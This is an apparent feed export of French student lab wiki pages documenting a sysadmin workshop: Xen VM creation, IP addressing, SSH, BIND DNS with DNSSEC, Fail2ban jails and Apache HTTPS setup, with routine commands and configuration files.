    inet6 fe80::216:3eff:fed3:d692/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:93 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fed3:d693/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 942sec preferred_lft 842sec&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d693/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et voici l'état des interface de la machines mandataire Garage :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Garage:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:07 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.1/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c07/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:08 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 193.48.57.170/27 brd 193.48.57.191 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fee4:9c08/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 893sec preferred_lft 793sec&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c08/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Test de la LAN ===&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant ping entre nos VM, voici un ping de RS7 vers C2:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping C2.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers Garages&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping Garage.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=== Test vers l'extérieur ===&lt;br /&gt;
&lt;br /&gt;
Nous vérifions maintenant si ma machines de service RS7 à bien accès à internet en IPv4 (via la VM mandataire) et en IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici un ping de RS7 vers l'extérieur en IPv4:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv4.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers l'extérieur en IPv6:&lt;br /&gt;
[[Fichier:Ipv6.png|centré|vignette|800x800px]]&lt;br /&gt;
&lt;br /&gt;
=SSH=&lt;br /&gt;
&lt;br /&gt;
Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
=DNS=&lt;br /&gt;
==Configuration du résolveur==&lt;br /&gt;
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
search plil.info&lt;br /&gt;
nameserver 172.26.188.12&lt;br /&gt;
nameserver 193.48.57.48&lt;br /&gt;
&lt;br /&gt;
search rs7.online&lt;br /&gt;
nameserver 192.168.7.2&lt;br /&gt;
nameserver 192.168.7.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration des zones==&lt;br /&gt;
Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour rs7.online et une zone secondaire pour c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;rs7.zone&amp;quot; {&lt;br /&gt;
    type primary;&lt;br /&gt;
    file &amp;quot;/etc/bind/zones/rs7.zone.signed&amp;quot;;&lt;br /&gt;
    allow-transfer { secondaries; };&lt;br /&gt;
    also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };&lt;br /&gt;
    key-directory &amp;quot;/etc/bind/rs7.dnssec&amp;quot;;&lt;br /&gt;
    dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
    inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fed3:58ae;&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fee4:9c08;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;c2vts.fr&amp;quot; {&lt;br /&gt;
    type secondary;&lt;br /&gt;
    file &amp;quot;/etc/bind/backup/c2vts.fr.zone&amp;quot;;&lt;br /&gt;
    primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Création et configuration du fichier .zone==&lt;br /&gt;
Nous avons ensuite créé et configuré le fichier rs7.zone.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 200&lt;br /&gt;
@       IN      SOA     ns.rs7.online. admin.rs7.online. (&lt;br /&gt;
        4004    ; Version&lt;br /&gt;
        21600   ; Refresh secondary    (6h)&lt;br /&gt;
        3600    ; Retry secondary      (1h)&lt;br /&gt;
        2592000 ; Expire if no refresh (30j)&lt;br /&gt;
        86400 ) ; Negative cache       (24h)&lt;br /&gt;
&lt;br /&gt;
; Serveurs de noms&lt;br /&gt;
@        IN      NS      ns.rs7.online.&lt;br /&gt;
@        IN      NS      ns.c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
;Enregistrements A &lt;br /&gt;
@        IN     A     193.48.57.170&lt;br /&gt;
ns       IN     A     193.48.57.170 &lt;br /&gt;
&lt;br /&gt;
;Enregistrements AAAA&lt;br /&gt;
@        IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693&lt;br /&gt;
ns       IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693&lt;br /&gt;
&lt;br /&gt;
;Enregistrements CNAME&lt;br /&gt;
www      IN     CNAME rs7.online.&lt;br /&gt;
&lt;br /&gt;
$include &amp;quot;/etc/bind/rs7.dnssec/rs7.online-ksk.key&amp;quot;&lt;br /&gt;
$include &amp;quot;/etc/bind/rs7.dnssec/rs7.online-zsk.key&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On charge la version du fichier de zone avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:/etc/bind/zones/rs7.online# named-checkzone rs7.zone&lt;br /&gt;
zone rs7.zone/IN: loaded serial 4004&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérifications==&lt;br /&gt;
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :&lt;br /&gt;
&lt;br /&gt;
named-checkzone &amp;lt;nom du fichier&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DNS.png|vignette|center|900px]]&lt;br /&gt;
&lt;br /&gt;
=DNSSEC=&lt;br /&gt;
&lt;br /&gt;
==Configuration de la méthode automatique==&lt;br /&gt;
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;rs7&amp;quot; {&lt;br /&gt;
    type primary;&lt;br /&gt;
    file &amp;quot;/etc/bind/zones/rs7.zone.signed&amp;quot;;&lt;br /&gt;
    allow-transfer { secondaries; };&lt;br /&gt;
    also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };&lt;br /&gt;
    key-directory &amp;quot;/etc/bind/rs7.dnssec&amp;quot;;&lt;br /&gt;
    dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
    inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fed3:58ae;&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fee4:9c08;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;c2vts.fr&amp;quot; {&lt;br /&gt;
    type secondary;&lt;br /&gt;
    file &amp;quot;/etc/bind/backup/c2vts.fr.zone&amp;quot;;&lt;br /&gt;
    primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Génération des clés==&lt;br /&gt;
ensuite nous créeons le répertoire qui va acceuillir nos clés:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir -p /etc/bind/keys&lt;br /&gt;
chown bind:bind /etc/bind/keys&lt;br /&gt;
chmod 700 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
et nous redémarrons le service :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/bind/rs7.dnssec# ls&lt;br /&gt;
Krs7.+013+14689.key	 Krs7.+013+57317.private  rs7.online-ksk.private&lt;br /&gt;
Krs7.+013+14689.private  Krs7.+013+57317.state	  rs7.online-zsk.key&lt;br /&gt;
Krs7.+013+14689.state	 dsset-rs7.		  rs7.online-zsk.private&lt;br /&gt;
Krs7.+013+57317.key	 rs7.online-ksk.key&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant verifier sur le site &amp;quot;DNSViz&amp;quot; le DNS de rs7.online.&lt;br /&gt;
&lt;br /&gt;
= Fail2ban =&lt;br /&gt;
&lt;br /&gt;
Pour se protéger contre les attaques par '''brute force''' sur le service SSH, nous utilisons l’outil '''Fail2ban'''. La première étape consiste à modifier le fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; afin d’y définir les paramètres de protection suivants :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[sshd]&lt;br /&gt;
enabled = true&lt;br /&gt;
port    = ssh&lt;br /&gt;
filter  = sshd&lt;br /&gt;
logpath = %(sshd_log)s&lt;br /&gt;
backend = %(sshd_backend)s&lt;br /&gt;
maxretry = 3&lt;br /&gt;
findtime = 600&lt;br /&gt;
bantime  = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans cette configuration :&lt;br /&gt;
* &amp;lt;code&amp;gt;maxretry&amp;lt;/code&amp;gt; indique le nombre maximal de tentatives autorisées avant le bannissement ;&lt;br /&gt;
* &amp;lt;code&amp;gt;findtime&amp;lt;/code&amp;gt; correspond à la période durant laquelle les tentatives sont comptabilisées avant réinitialisation ;&lt;br /&gt;
* &amp;lt;code&amp;gt;bantime&amp;lt;/code&amp;gt; définit la durée du bannissement de l’adresse IP fautive.&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;fail2ban-client status sshd&amp;lt;/code&amp;gt; permet ensuite de consulter l’état du ''jail'' SSH, notamment le nombre de tentatives échouées, le nombre total de bannissements et la liste des adresses IP actuellement bloquées.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/bind# fail2ban-client status sshd&lt;br /&gt;
Status for the jail: sshd&lt;br /&gt;
|- Filter&lt;br /&gt;
|  |- Currently failed: 0&lt;br /&gt;
|  |- Total failed:     1&lt;br /&gt;
|  `- File list:        /var/log/auth.log&lt;br /&gt;
`- Actions&lt;br /&gt;
   |- Currently banned: 0&lt;br /&gt;
   |- Total banned:     1&lt;br /&gt;
   `- Banned IP list:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le même principe est appliqué pour limiter les attaques visant le service DNS. On ajoute alors une nouvelle configuration dans le fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[connect-refused]&lt;br /&gt;
enabled  = true&lt;br /&gt;
port     = domain&lt;br /&gt;
protocol = tcp&lt;br /&gt;
filter   = connect-refused&lt;br /&gt;
logpath  = /var/log/syslog&lt;br /&gt;
maxretry = 3&lt;br /&gt;
bantime  = 600&lt;br /&gt;
findtime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il est ensuite nécessaire de créer un filtre personnalisé dans le répertoire &amp;lt;code&amp;gt;filter.d&amp;lt;/code&amp;gt;, nommé &amp;lt;code&amp;gt;connect-refused.conf&amp;lt;/code&amp;gt;, afin de définir les motifs de requêtes TCP à bloquer :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/fail2ban/filter.d# cat connect-refused.conf&lt;br /&gt;
[Definition]&lt;br /&gt;
failregex = .* client_ip=&amp;lt;HOST&amp;gt;.*(NXDOMAIN|SERVFAIL|REFUSED).*&lt;br /&gt;
ignoreregex =&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, la commande &amp;lt;code&amp;gt;fail2ban-client status connect-refused&amp;lt;/code&amp;gt; permet de vérifier l’activité de ce ''jail'', notamment les tentatives détectées et les adresses IP bannies.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/fail2ban/filter.d# fail2ban-client status connect-refused&lt;br /&gt;
Status for the jail: connect-refused&lt;br /&gt;
|- Filter&lt;br /&gt;
|  |- Currently failed: 0&lt;br /&gt;
|  |- Total failed:     0&lt;br /&gt;
|  `- File list:        /var/log/syslog&lt;br /&gt;
`- Actions&lt;br /&gt;
   |- Currently banned: 0&lt;br /&gt;
   |- Total banned:     0&lt;br /&gt;
   `- Banned IP list:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=HTTPS=&lt;br /&gt;
==Installation d'Apache2==&lt;br /&gt;
Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
aptitude install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Activation du port HTTPS==&lt;br /&gt;
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# cat /etc/apache2/ports.conf&lt;br /&gt;
# Port HTTP classique&lt;br /&gt;
Listen 80&lt;br /&gt;
&lt;br /&gt;
# Port HTTPS&lt;br /&gt;
&amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du certificat SSL==&lt;br /&gt;
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/ssl/certs/rs7.online.crt : Certificat SSL&lt;br /&gt;
/etc/ssl/private/rs7.online.key : Clé privée&lt;br /&gt;
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du domaine sécurisé==&lt;br /&gt;
J'ai créé un fichier de configuration spécifique pour mon domaine (rs7.online) dans le répertoire `/etc/apache2/sites-available/rs7.online.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# cat /etc/apache2/sites-available/rs7.online.conf &lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName rs7.online.&lt;br /&gt;
	ServerAlias www.rs7.online.&lt;br /&gt;
        Redirect permanent / https://rs7.online/  &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ServerName rs7.online.&lt;br /&gt;
        DocumentRoot /var/www/rs7.online/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
&lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/rs7.online.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/private/rs7.online.key&lt;br /&gt;
        SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
	ProxyPass / http://[2001:660:4401:60a0:216:3eff:fed3:d693]/&lt;br /&gt;
	ProxyPassReverse / http://[2001:660:4401:60a0:216:3eff:fed3:d693]/&lt;br /&gt;
        SSLProxyEngine on&lt;br /&gt;
	&amp;lt;Directory /var/www/rs7.online&amp;gt;&lt;br /&gt;
		AllowOverride All&lt;br /&gt;
		Require all granted&lt;br /&gt;
	&amp;lt;/Directory&amp;gt;&lt;br /&gt;
	ErrorLog ${APACHE_LOG_DIR}/rs7.online_error.log&lt;br /&gt;
	CustomLog ${APACHE_LOG_DIR}/rs7.online_access.log combined&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérification du certificat SSL==&lt;br /&gt;
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
c_rehash /etc/ssl/certs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Ipv6.png&amp;diff=12173</id>
		<title>Fichier:Ipv6.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Ipv6.png&amp;diff=12173"/>
		<updated>2026-02-10T15:39:02Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12172</id>
		<title>Atelier SysRes SE4 2025/2026 E8</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12172"/>
		<updated>2026-02-10T15:38:42Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : /* Test vers l'extérieur */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Création du pont et des VM=&lt;br /&gt;
&lt;br /&gt;
== Création du pont: ==&lt;br /&gt;
Dans capbreton, dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; on renseigne notre pont &amp;lt;code&amp;gt;pontclio&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto pontclio&lt;br /&gt;
iface pontclio inet manual&lt;br /&gt;
  bridge_ports none&lt;br /&gt;
  up ip link set $IFACE up&lt;br /&gt;
  down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Partitions==&lt;br /&gt;
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.RS7 --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=pontclio&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.RS7.cfg:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-home,xvdb1,w,&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-var,xvda3,w,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour démarrer notre VM nous exécutons la commande suivante: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create SE4.RS7.cfg &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous pouvons vérifier si la VM est démarrée avec:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par la suite nous nous connectons à la VM de cette manière:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.RS7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite créer les partitions &amp;lt;code&amp;gt;var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;home&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.home virtual&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et nous formatons ces disk avec ces deux commandes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant Mount les fichiers à implémenter le /var, or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On copie les données et on démonte le fichier copié:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
unmount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant observer les changement:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=IP=&lt;br /&gt;
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:&lt;br /&gt;
&lt;br /&gt;
==VM de service==&lt;br /&gt;
&lt;br /&gt;
